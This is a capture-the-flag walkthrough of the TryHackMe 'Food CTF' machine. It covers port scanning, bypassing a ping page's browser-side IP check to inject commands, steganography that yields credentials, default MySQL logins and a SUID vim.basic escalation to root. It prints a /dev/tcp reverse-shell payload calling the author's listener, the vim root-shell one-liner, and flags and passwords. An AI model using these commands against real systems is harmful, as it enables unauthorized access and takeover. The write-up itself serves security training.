[Tryhackme] KoTH Food CTF (front end verification bypass, picture steganography, SUID right lifting: vim.basic)

Disclaimers

The host penetrated by this article is legally authorized. The tools and methods used in this article are limited to learning and communication. Please do not use the tools and infiltration ideas used in this article for any illegal purpose. I will not bear any responsibility for all the consequences, nor be responsible for any misuse or damage.

Service discovery

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# nmap -sV -Pn 10.10.2.134    
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-09 03:09 EST
Nmap scan report for 10.10.2.134
Host is up (0.30s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp open  abyss?

Fast scan. There is no web service but mysql service. It is suspected that http exists on the high port. Scan the full port:

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# nmap -sV -Pn 10.10.2.134 -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-09 03:11 EST
Stats: 0:14:59 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.78% done; ETC: 03:34 (0:07:26 remaining)
Stats: 0:22:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 03:34 (0:00:32 remaining)
Nmap scan report for 10.10.2.134
Host is up (0.30s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp  open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp  open  abyss?
15065/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
16109/tcp open  unknown
46969/tcp open  telnet  Linux telnetd

Sure enough, there is a golang http service on port 15065. Only two lines of text are displayed on the open page:

Site down for maintenance
Blame Dan, he keeps messing with the prod servers.

Now we know that there is a developer named Dan

Using dan as the user name, burst ssh and telnet, with no result.

Blasting 15065 catalog

┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.2.134:15065/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.2.134-15065/-_21-11-09_03-48-30.txt

Error Log: /root/dirsearch/logs/errors-21-11-09_03-48-30.log

Target: http://10.10.2.134:15065/

[03:48:31] Starting: 
               
[03:49:59] 200 -    1KB - /monitor/                                         
[03:49:59] 301 -    0B  - /monitor  ->  monitor/                            

Open monitor and display a ping command line page. You can only enter ip and try command line injection without success.

Check the web page source code and find this code in main.js

//Steve said I should obfuscate my code to make it better. I don't really understand but it works so meh

const _0x1a9d=['dmFsdWU=','I2hvc3RUb1Bpbmc=','dGVzdA==','SVAgYWRkcmVzcyBpbnZhbGlk','cXVlcnlTZWxlY3Rvcg==','UGluZ2luZzog','dGV4dENvbnRlbnQ='];(function(_0x365cb9,_0x1a9de5){const _0x4d6713=function(_0x1784af){while(--_0x1784af){_0x365cb9['push'](_0x365cb9['shift']());}};_0x4d6713(++_0x1a9de5);}(_0x1a9d,0x148));const _0x4d67=function(_0x365cb9,_0x1a9de5){_0x365cb9=_0x365cb9-0x0;let _0x4d6713=_0x1a9d[_0x365cb9];if(_0x4d67['NLdOOO']===undefined){(function(){let _0x525fb1;try{const _0x3f1d56=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x525fb1=_0x3f1d56();}catch(_0xc71f1){_0x525fb1=window;}const _0x4685a7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x525fb1['atob']||(_0x525fb1['atob']=function(_0x255321){const _0x24c30f=String(_0x255321)['replace'](/=+$/,'');let _0x5e1a31='';for(let _0x4d6263=0x0,_0x55cd30,_0x4f9f3e,_0x1e913f=0x0;_0x4f9f3e=_0x24c30f['charAt'](_0x1e913f++);~_0x4f9f3e&&(_0x55cd30=_0x4d6263%0x4?_0x55cd30*0x40+_0x4f9f3e:_0x4f9f3e,_0x4d6263++%0x4)?_0x5e1a31+=String['fromCharCode'](0xff&_0x55cd30>>(-0x2*_0x4d6263&0x6)):0x0){_0x4f9f3e=_0x4685a7['indexOf'](_0x4f9f3e);}return _0x5e1a31;});}());_0x4d67['LCDJpm']=function(_0x16dbab){const _0x48165c=atob(_0x16dbab);let _0x25c165=[];for(let _0x2e78af=0x0,_0x1185f3=_0x48165c['length'];_0x2e78af<_0x1185f3;_0x2e78af++){_0x25c165+='%'+('00'+_0x48165c['charCodeAt'](_0x2e78af)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x25c165);};_0x4d67['znaolL']={};_0x4d67['NLdOOO']=!![];}const _0x1784af=_0x4d67['znaolL'][_0x365cb9];if(_0x1784af===undefined){_0x4d6713=_0x4d67['LCDJpm'](_0x4d6713);_0x4d67['znaolL'][_0x365cb9]=_0x4d6713;}else{_0x4d6713=_0x1784af;}return _0x4d6713;};async function pingHost(){const _0x25c165=document[_0x4d67('0x5')]('#outputSection');const _0x2e78af=document[_0x4d67('0x5')](_0x4d67('0x2'));const _0x1185f3=_0x2e78af[_0x4d67('0x1')];if(_0x1185f3!==undefined&&_0x1185f3!==''&&ValidateIPaddress(_0x1185f3)){_0x25c165[_0x4d67('0x0')]=_0x4d67('0x6')+_0x1185f3+'\x0a';const _0x27c227=await postData('/api/cmd','ping\x20-c\x204\x20'+_0x1185f3);_0x25c165['textContent']+=await _0x27c227['text']();}else{_0x25c165[_0x4d67('0x0')]=_0x4d67('0x4');}}function ValidateIPaddress(_0x23b8a0){if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x4d67('0x3')](_0x23b8a0)){return!![];}return![];}

Format this js code:

const _0x1a9d = ['dmFsdWU=', 'I2hvc3RUb1Bpbmc=', 'dGVzdA==', 'SVAgYWRkcmVzcyBpbnZhbGlk', 'cXVlcnlTZWxlY3Rvcg==', 'UGluZ2luZzog', 'dGV4dENvbnRlbnQ=']; (function(_0x365cb9, _0x1a9de5) {
    const _0x4d6713 = function(_0x1784af) {
        while (--_0x1784af) {
            _0x365cb9['push'](_0x365cb9['shift']());
        }
    };
    _0x4d6713(++_0x1a9de5);
} (_0x1a9d, 0x148));
const _0x4d67 = function(_0x365cb9, _0x1a9de5) {
    _0x365cb9 = _0x365cb9 - 0x0;
    let _0x4d6713 = _0x1a9d[_0x365cb9];
    if (_0x4d67['NLdOOO'] === undefined) { (function() {
            let _0x525fb1;
            try {
                const _0x3f1d56 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                _0x525fb1 = _0x3f1d56();
            } catch(_0xc71f1) {
                _0x525fb1 = window;
            }
            const _0x4685a7 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x525fb1['atob'] || (_0x525fb1['atob'] = function(_0x255321) {
                const _0x24c30f = String(_0x255321)['replace'](/=+$/, '');
                let _0x5e1a31 = '';
                for (let _0x4d6263 = 0x0, _0x55cd30, _0x4f9f3e, _0x1e913f = 0x0; _0x4f9f3e = _0x24c30f['charAt'](_0x1e913f++);~_0x4f9f3e && (_0x55cd30 = _0x4d6263 % 0x4 ? _0x55cd30 * 0x40 + _0x4f9f3e: _0x4f9f3e, _0x4d6263++%0x4) ? _0x5e1a31 += String['fromCharCode'](0xff & _0x55cd30 >> ( - 0x2 * _0x4d6263 & 0x6)) : 0x0) {
                    _0x4f9f3e = _0x4685a7['indexOf'](_0x4f9f3e);
                }
                return _0x5e1a31;
            });
        } ());
        _0x4d67['LCDJpm'] = function(_0x16dbab) {
            const _0x48165c = atob(_0x16dbab);
            let _0x25c165 = [];
            for (let _0x2e78af = 0x0, _0x1185f3 = _0x48165c['length']; _0x2e78af < _0x1185f3; _0x2e78af++) {
                _0x25c165 += '%' + ('00' + _0x48165c['charCodeAt'](_0x2e78af)['toString'](0x10))['slice']( - 0x2);
            }
            return decodeURIComponent(_0x25c165);
        };
        _0x4d67['znaolL'] = {};
        _0x4d67['NLdOOO'] = !![];
    }
    const _0x1784af = _0x4d67['znaolL'][_0x365cb9];
    if (_0x1784af === undefined) {
        _0x4d6713 = _0x4d67['LCDJpm'](_0x4d6713);
        _0x4d67['znaolL'][_0x365cb9] = _0x4d6713;
    } else {
        _0x4d6713 = _0x1784af;
    }
    return _0x4d6713;
};
async
function pingHost() {
    const _0x25c165 = document[_0x4d67('0x5')]('#outputSection');
    const _0x2e78af = document[_0x4d67('0x5')](_0x4d67('0x2'));
    const _0x1185f3 = _0x2e78af[_0x4d67('0x1')];
    if (_0x1185f3 !== undefined && _0x1185f3 !== '' && ValidateIPaddress(_0x1185f3)) {
        _0x25c165[_0x4d67('0x0')] = _0x4d67('0x6') + _0x1185f3 + '\x0a';
        const _0x27c227 = await postData('/api/cmd', 'ping\x20-c\x204\x20' + _0x1185f3);
        _0x25c165['textContent'] += await _0x27c227['text']();
    } else {
        _0x25c165[_0x4d67('0x0')] = _0x4d67('0x4');
    }
}
function ValidateIPaddress(_0x23b8a0) {
    if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/ [_0x4d67('0x3')](_0x23b8a0)) {
        return !! [];
    }
    return ! [];
}

After reading the js code, it is found that the command line filtering is performed on the js side, mainly the ValidateIPaddress function.

We grab bags with burp. Send commands directly from burp to bypass the browser's js filtering

payload:

POST /api/cmd HTTP/1.1

Host: 10.10.2.134:15065

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain

Origin: http://10.10.2.134:15065

Content-Length: 8

Connection: close



ifconfig

return:

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 10:21:29 GMT

Content-Length: 900

Content-Type: text/plain; charset=utf-8

Connection: close



eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 10.10.2.134  netmask 255.255.0.0  broadcast 10.10.255.255
        inet6 fe80::53:b1ff:fe33:d9b3  prefixlen 64  scopeid 0x20<link>
        ether 02:53:b1:33:d9:b3  txqueuelen 1000  (Ethernet)
        RX packets 1225123  bytes 132078973 (132.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 858039  bytes 110027220 (110.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 40410  bytes 4167976 (4.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 40410  bytes 4167976 (4.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Let's create a rebound shell with the following payload:
0<&196;exec 196<>/dev/tcp/10.13.21.169/4242; sh <&196 >&196 2>&196

Get the initial shell

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# nc -lnvp 4242           
listening on [any] 4242 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.2.134] 46670
id
uid=1004(bread) gid=1004(bread) groups=1004(bread)
whoami
bread
ls
flag
main
main.go
resources
cat flag
cat: flag: Permission denied

The flag under this account has no read permission.

Port 9999 is also an http service. Open the page and print a: king. I don't know what it is.

Port 16109 opens the browser, displays a picture, and downloads the picture to the local analysis.

exiftool checks the basic information of the picture, binwalk checks the composition of the picture, and then uses the steghide command to separate a creds.txt file

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# exiftool  10.10.2.134.jpeg 
ExifTool Version Number         : 12.16
File Name                       : 10.10.2.134.jpeg
Directory                       : .
File Size                       : 372 KiB
File Modification Date/Time     : 2021:11:09 04:02:55-05:00
File Access Date/Time           : 2021:11:09 04:04:05-05:00
File Inode Change Date/Time     : 2021:11:09 04:02:55-05:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Image Width                     : 1350
Image Height                    : 900
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1350x900
Megapixels                      : 1.2
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# binwalk 10.10.2.134.jpeg                     

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
381172        0x5D0F4         gzip compressed data, from Unix, last modified: 2020-03-19 23:53:20

                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# steghide extract -sf 10.10.2.134.jpeg 
Enter passphrase: 
wrote extracted data to "creds.txt".
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# cat creds.txt           
pasta:pastaisdynamic

Try to log in to ssh with the credentials above creds.txt and get a shell

┌──(root💀kali)-[~/tryhackme/FoodCTF]
└─# ssh pasta@10.10.2.134                
pasta@10.10.2.134's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Nov  9 09:07:59 UTC 2021

  System load:  0.01              Processes:           91
  Usage of /:   43.9% of 9.78GB   Users logged in:     0
  Memory usage: 35%               IP address for eth0: 10.10.2.134
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.


Last login: Sat Mar 21 00:19:06 2020
pasta@foodctf:~$ id
uid=1002(pasta) gid=1002(pasta) groups=1002(pasta)

flag1

Get flag1 under / home/bread

pasta@foodctf:/home/bread$ cat flag 
thm{7baf5aa8491a4b7b1c2d231a24aec575}
pasta@foodctf:/home/bread$ pwd
/home/bread

Pass the linpeas enumeration authorization information and find that mysql uses the default login password: root:root

Log in. A Users database was found

pasta@foodctf:/tmp$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 199
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
+--------------------+

There is a User table

mysql> use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| User            |

flag2

Get the login credentials of flag2 and ramen

mysql> select * from user;
ERROR 1146 (42S02): Table 'users.user' doesn't exist
mysql> select * from User;
+----------+---------------------------------------+
| username | password                              |
+----------+---------------------------------------+
| ramen    | noodlesRTheBest                       |
| flag     | thm{2f30841ff8d9646845295135adda8332} |
+----------+---------------------------------------+

Raise the right horizontally to ramen

pasta@foodctf:/tmp$ su ramen
Password: 
ramen@foodctf:/tmp$ id
uid=1003(ramen) gid=1003(ramen) groups=1003(ramen)

flag3

Find the hidden file flag3 under / home/food

ramen@foodctf:/home/food$ cat .flag 
thm{58a3cb46855af54d0660b34fd20a04c1}
ramen@foodctf:/home/food$ pwd
/home/food

Raise authority to root

Find all suids

ramen@foodctf:/tmp$ find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/vim.basic
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/screen-4.5.0
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/telnetlogin
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
/snap/core/7270/bin/ping6
/snap/core/7270/bin/su
/snap/core/7270/bin/umount
/snap/core/7270/usr/bin/chfn
/snap/core/7270/usr/bin/chsh
/snap/core/7270/usr/bin/gpasswd
/snap/core/7270/usr/bin/newgrp
/snap/core/7270/usr/bin/passwd
/snap/core/7270/usr/bin/sudo
/snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7270/usr/lib/openssh/ssh-keysign
/snap/core/7270/usr/lib/snapd/snap-confine
/snap/core/7270/usr/sbin/pppd
/snap/core/8689/bin/mount
/snap/core/8689/bin/ping
/snap/core/8689/bin/ping6
/snap/core/8689/bin/su
/snap/core/8689/bin/umount
/snap/core/8689/usr/bin/chfn
/snap/core/8689/usr/bin/chsh
/snap/core/8689/usr/bin/gpasswd
/snap/core/8689/usr/bin/newgrp
/snap/core/8689/usr/bin/passwd
/snap/core/8689/usr/bin/sudo
/snap/core/8689/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8689/usr/lib/openssh/ssh-keysign
/snap/core/8689/usr/lib/snapd/snap-confine
/snap/core/8689/usr/sbin/pppd

We noticed that the SUID of / usr/bin/vim.basic was a little special. We tried to open / etc/shadow / with it, but it was successful

In other words, vim.basic is actually equivalent to VIM, so we can use it to raise the right to root

according to gtfobins As for vim's SUID authorization instruction, let's modify it slightly:

ramen@foodctf:/tmp$ /usr/bin/vim.basic  -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
Erase is control-H (^H).
# id
uid=1003(ramen) gid=1003(ramen) euid=0(root) egid=0(root) groups=0(root),1003(ramen)
# whoami
root
# 

The right is successfully raised to root. Since we have obtained the root permission, we can read any flag file.

# find / -name *flag* -type f 2>/dev/null          
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/root/flag
/home/tryhackme/flag7
/home/bread/flag
/home/food/.flag
/var/flag.txt
/var/lib/mysql/debian-5.7.flag

Keywords: security

Added by sonofyoda on Wed, 10 Nov 2021 14:32:15 +0200